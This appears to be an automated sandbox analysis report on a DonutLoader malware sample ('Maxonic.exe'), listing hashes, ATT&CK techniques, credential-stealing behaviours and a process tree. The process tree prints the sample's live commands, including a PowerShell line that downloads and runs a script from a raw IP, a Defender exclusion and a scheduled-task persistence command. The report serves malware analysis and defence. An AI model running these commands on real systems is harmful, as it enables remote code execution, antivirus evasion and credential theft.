donutloader | 658d3acfc7e71d6b3451973ab8c207dca57264f9b17fc9e37c8b7a1e46561489

Analysis

max time kernel
298s
max time network
155s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20251017-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20251017-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
22/11/2025, 14:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Maxonic.exe
Size 191KB
Sample251122-rzsatstjer
SHA256 658d3acfc7e71d6b3451973ab8c207dca57264f9b17fc9e37c8b7a1e46561489
MD5 406b19cce1916b77a34537f4cc7cd19c
SHA1 1f9e3d5203912defb6bbe9ffc7eacaa8a55fa8d8
SHA512 2c2b9f64734fc20d69249b095358791d5c0e18051e0613b6f2b3a33e6b1882a42db80d4e1bac1d5a827b4e7357809d24848fbb2af055edb8f4cd3097cefbe257
SSDEEP 3072:Ge3Co6YLc3fyoqvKBZmnn61Vh4pRPjISSU76gtPEzbiV0a8ko61fjAZf:GdYQ3z5BZmqVhiZjugVEsZjAZf
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution donutloader loader persistence spyware stealer

Malware Config

Signatures

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral2/memory/2912-4-0x0000024ADF3B0000-0x0000024ADF472000-memory.dmp	family_donutloader

DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Donutloader family
donutloader

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
25	3564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1948	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1659235647-4126961737-859461056-1000\Control Panel\International\Geo\Nation	Maxonic.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1659235647-4126961737-859461056-1000\Control Panel\International\Geo\Nation	app.exe

Executes dropped EXE 2 IoCs

pid	Process
4088	app.exe
2604	ServiceHostApp.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5376	dotnet.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Maxonic.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Maxonic.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1624	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2912	Maxonic.exe
2912	Maxonic.exe
3564	powershell.exe
3564	powershell.exe
4088	app.exe
1948	powershell.exe
1948	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	3564	powershell.exe
Token: SeSecurityPrivilege	3564	powershell.exe
Token: SeTakeOwnershipPrivilege	3564	powershell.exe
Token: SeLoadDriverPrivilege	3564	powershell.exe
Token: SeSystemProfilePrivilege	3564	powershell.exe
Token: SeSystemtimePrivilege	3564	powershell.exe
Token: SeProfSingleProcessPrivilege	3564	powershell.exe
Token: SeIncBasePriorityPrivilege	3564	powershell.exe
Token: SeCreatePagefilePrivilege	3564	powershell.exe
Token: SeBackupPrivilege	3564	powershell.exe
Token: SeRestorePrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeSystemEnvironmentPrivilege	3564	powershell.exe
Token: SeRemoteShutdownPrivilege	3564	powershell.exe
Token: SeUndockPrivilege	3564	powershell.exe
Token: SeManageVolumePrivilege	3564	powershell.exe
Token: 33	3564	powershell.exe
Token: 34	3564	powershell.exe
Token: 35	3564	powershell.exe
Token: 36	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	3564	powershell.exe
Token: SeSecurityPrivilege	3564	powershell.exe
Token: SeTakeOwnershipPrivilege	3564	powershell.exe
Token: SeLoadDriverPrivilege	3564	powershell.exe
Token: SeSystemProfilePrivilege	3564	powershell.exe
Token: SeSystemtimePrivilege	3564	powershell.exe
Token: SeProfSingleProcessPrivilege	3564	powershell.exe
Token: SeIncBasePriorityPrivilege	3564	powershell.exe
Token: SeCreatePagefilePrivilege	3564	powershell.exe
Token: SeBackupPrivilege	3564	powershell.exe
Token: SeRestorePrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeSystemEnvironmentPrivilege	3564	powershell.exe
Token: SeRemoteShutdownPrivilege	3564	powershell.exe
Token: SeUndockPrivilege	3564	powershell.exe
Token: SeManageVolumePrivilege	3564	powershell.exe
Token: 33	3564	powershell.exe
Token: 34	3564	powershell.exe
Token: 35	3564	powershell.exe
Token: 36	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	3564	powershell.exe
Token: SeSecurityPrivilege	3564	powershell.exe
Token: SeTakeOwnershipPrivilege	3564	powershell.exe
Token: SeLoadDriverPrivilege	3564	powershell.exe
Token: SeSystemProfilePrivilege	3564	powershell.exe
Token: SeSystemtimePrivilege	3564	powershell.exe
Token: SeProfSingleProcessPrivilege	3564	powershell.exe
Token: SeIncBasePriorityPrivilege	3564	powershell.exe
Token: SeCreatePagefilePrivilege	3564	powershell.exe
Token: SeBackupPrivilege	3564	powershell.exe
Token: SeRestorePrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeSystemEnvironmentPrivilege	3564	powershell.exe
Token: SeRemoteShutdownPrivilege	3564	powershell.exe
Token: SeUndockPrivilege	3564	powershell.exe
Token: SeManageVolumePrivilege	3564	powershell.exe
Token: 33	3564	powershell.exe
Token: 34	3564	powershell.exe
Token: 35	3564	powershell.exe
Token: 36	3564	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2912 wrote to memory of 1524	2912	Maxonic.exe	86
PID 2912 wrote to memory of 1524	2912	Maxonic.exe	86
PID 2912 wrote to memory of 1524	2912	Maxonic.exe	86
PID 2912 wrote to memory of 1656	2912	Maxonic.exe	88
PID 2912 wrote to memory of 1656	2912	Maxonic.exe	88
PID 2912 wrote to memory of 1656	2912	Maxonic.exe	88
PID 2912 wrote to memory of 3564	2912	Maxonic.exe	90
PID 2912 wrote to memory of 3564	2912	Maxonic.exe	90
PID 2912 wrote to memory of 3564	2912	Maxonic.exe	90
PID 3564 wrote to memory of 5376	3564	powershell.exe	94
PID 3564 wrote to memory of 5376	3564	powershell.exe	94
PID 3564 wrote to memory of 4088	3564	powershell.exe	95
PID 3564 wrote to memory of 4088	3564	powershell.exe	95
PID 4088 wrote to memory of 1948	4088	app.exe	96
PID 4088 wrote to memory of 1948	4088	app.exe	96
PID 4088 wrote to memory of 1624	4088	app.exe	98
PID 4088 wrote to memory of 1624	4088	app.exe	98
PID 4088 wrote to memory of 2604	4088	app.exe	100
PID 4088 wrote to memory of 2604	4088	app.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Maxonic.exe
"C:\Users\Admin\AppData\Local\Temp\Maxonic.exe"
1⤵
- Checks computer location settings
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:1524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:1656
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "iwr http://95.217.39.238/ooewqi.ps1 |iex"
  2⤵
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3564
- - C:\Program Files\dotnet\dotnet.exe
    "C:\Program Files\dotnet\dotnet.exe" --list-runtimes
    3⤵
    - System Time Discovery
    PID:5376
- - C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1948
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "MicrosoftWindowsServiceHost" /tr "'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe'" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1624
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe"
      4⤵
      Executes dropped EXE
      PID:2604

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:4916

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BA41D407-1BFC-3283-501F-04DB18B78CB3.txt

Path C:\ProgramData\BA41D407-1BFC-3283-501F-04DB18B78CB3.txt
Size 64B
SHA256 25edb4bfd739a9c167180e02fcca65384f3f80575b5be0a99f3c1c5f5ee01cf5
MD5 d154c2cba1de27494711f74b3791d6be
SHA1 52debe667f5808a7821bc395704ed26eb65516b4
SHA512 4fcf052360f9080692c3df26bb38de6e93479256a8a785c6d04d25fcb8b531956cc5f18b845b729b397456144df1b623aa13bab59680996c175c703c2034ed46
MD5 SHA1 SHA512

Submit Download

BA41D407-1BFC-3283-501F-04DB18B78CB3.txt

Path C:\ProgramData\BA41D407-1BFC-3283-501F-04DB18B78CB3.txt
Size 64B
SHA256 1305b7a640e6370d67e0ecb7011206e45dda7b9cb4c29e8e5a6070ed349b30fa
MD5 ef0addd4bf32763a092b23b6e8abac0e
SHA1 16164adc9891e6fc6b26a798d112ce51406590d4
SHA512 6e7bb4551f87f3a056b862785f3a2d56434d06bef94b8ac94063c21d8f416bd984e364e3bc91a46b8d93be46c34726cc0d49dcd6140e9b35d44de60deefdcb36
MD5 SHA1 SHA512

Submit Download

app.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe
Size 5.9MB
SHA256 469e0027cb53e2ba2bfe66d4aac3ea456fe4e91efbd11b631db252a9a1b02a8e
MD5 a70559acd5a04769bc6db0f62c0167ed
SHA1 ce4cd6b25852f3e466f41acf2c9ecbe6a828b0fc
SHA512 ea9d0ef96471b5d5152b6333c26df877ab468594a6310a3051a32db21e5f64f9f417e75c43dde9540c64d57131f0ff39f53763899dcf77ada40c3ae89192e8a0
SSDEEP 49152:1k8XRMl3yZam5alpjIvy3T6saP5/0rQHolrnmPvTNm/yXXp2qTdzg3m7j3Wa14xe:E05oIvjmQHgnmPLU/BCj3+Ord
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 23KB
SHA256 08d80a4f0aec78f3215e2855042ba5740fc56cfb006cc671f9c6f8cd73ba230a
MD5 09fa972f5ca58205f65316813ef794ca
SHA1 ac3e7724a6a4e5bee8b2ab39ae29a7458eeae8c3
SHA512 7d9dbf1c4415544b5da988f27b72eb0804bca444559066d72fc42b7f62e871284d42a60dbada827a87e68ef3658e21c4cdfc2c1598ed9a879718e3215c165512
SSDEEP 384:nwfgWZwaoeUODflcs2du4CchRXu1uTheRZ3vq1Jz1B8Cy8iuKj27TYQB55V8qN4E:wfnwPeUil2ATchM1fyT4b8FO27TjL5X
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_azsq0jix.ads.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azsq0jix.ads.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/1948-77-0x0000016D690B0000-0x0000016D69B72000-memory.dmp

Download

memory/1948-71-0x0000016D69F80000-0x0000016D69FA2000-memory.dmp

Download

memory/2912-4-0x0000024ADF3B0000-0x0000024ADF472000-memory.dmp

Download

memory/3564-27-0x0000000008150000-0x00000000081E6000-memory.dmp

Download

memory/3564-40-0x0000000008130000-0x000000000814E000-memory.dmp

Download

memory/3564-22-0x0000000005F30000-0x0000000005F4E000-memory.dmp

Download

memory/3564-23-0x0000000005F70000-0x0000000005FBC000-memory.dmp

Download

memory/3564-24-0x0000000007780000-0x0000000007DFA000-memory.dmp

Download

memory/3564-25-0x0000000006480000-0x000000000649A000-memory.dmp

Download

memory/3564-26-0x00000000085B0000-0x0000000008D56000-memory.dmp

Download

memory/3564-28-0x0000000007730000-0x0000000007752000-memory.dmp

Download

memory/3564-13-0x0000000005830000-0x0000000005896000-memory.dmp

Download

memory/3564-29-0x0000000009D10000-0x000000000A2B6000-memory.dmp

Download

memory/3564-30-0x00000000083B0000-0x00000000083E2000-memory.dmp

Download

memory/3564-31-0x00000000711C0000-0x000000007120C000-memory.dmp

Download

memory/3564-32-0x0000000071350000-0x00000000716A7000-memory.dmp

Download

memory/3564-21-0x0000000005A60000-0x0000000005DB7000-memory.dmp

Download

memory/3564-41-0x00000000083F0000-0x0000000008493000-memory.dmp

Download

memory/3564-42-0x00000000083A0000-0x00000000083AA000-memory.dmp

Download

memory/3564-43-0x00000000084A0000-0x00000000084B1000-memory.dmp

Download

memory/3564-44-0x00000000084E0000-0x00000000084EE000-memory.dmp

Download

memory/3564-45-0x00000000084F0000-0x0000000008504000-memory.dmp

Download

memory/3564-46-0x0000000008540000-0x000000000855A000-memory.dmp

Download

memory/3564-47-0x0000000008530000-0x0000000008538000-memory.dmp

Download

memory/3564-48-0x0000000008550000-0x000000000857A000-memory.dmp

Download

memory/3564-49-0x0000000008580000-0x00000000085A4000-memory.dmp

Download

memory/3564-12-0x0000000004F70000-0x0000000004FD6000-memory.dmp

Download

memory/3564-11-0x0000000004ED0000-0x0000000004EF2000-memory.dmp

Download

memory/3564-10-0x0000000004FF0000-0x00000000056BA000-memory.dmp

Download

memory/3564-9-0x00000000048E0000-0x0000000004916000-memory.dmp

Download